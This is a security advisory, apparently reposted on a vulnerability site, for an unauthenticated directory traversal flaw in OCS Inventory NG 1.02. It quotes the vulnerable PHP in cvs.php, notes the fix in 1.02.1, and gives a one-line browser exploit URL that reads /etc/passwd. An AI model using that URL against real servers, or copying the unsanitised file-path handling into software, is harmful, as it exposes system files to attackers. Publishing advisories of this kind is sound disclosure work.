OCS Inventory NG 1.02 Remote File Disclosure Vulnerability

2009-06-03 00:15:11

OCS Inventory NG - Directory Traversal (May 30 2009)
_______________________________________________________________________________


* Product

Open Computer and Software (OCS) Inventory NG
(http://www.ocsinventory-ng.org)


* Vulnerable Versions

OCS Inventory NG 1.02 (Unix)


* Vendor Status

Vendor has been notified and the vulnerability has been fixed in
version 1.02.1.


* Details

The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network. The server can be managed using a web
interface. It is possible for unauthenticated users to extract arbitrary
files from the hosting system due to inadequate file handling in cvs.php.

cvs.php:

} elseif (isset($_GET['log'])){
if (file_exists($_GET['rep'].$_GET['log'])){
$tab = file($_GET['rep'].$_GET['log']);
while(list($cle,$val) = each($tab)) {
$toBeWritten .= $val."\r\n";
}
$filename=$_GET['log'];
}
}


* Impact

Attackers may be able to read arbitrary files from the hosting system.


* Exploit

The vulnerability can be exploited by just using a web browser:

http://example.org/ocsreports/cvs.php?log=/etc/passwd

#

Fixes

No fixes

In order to submit a new fix you need to be registered.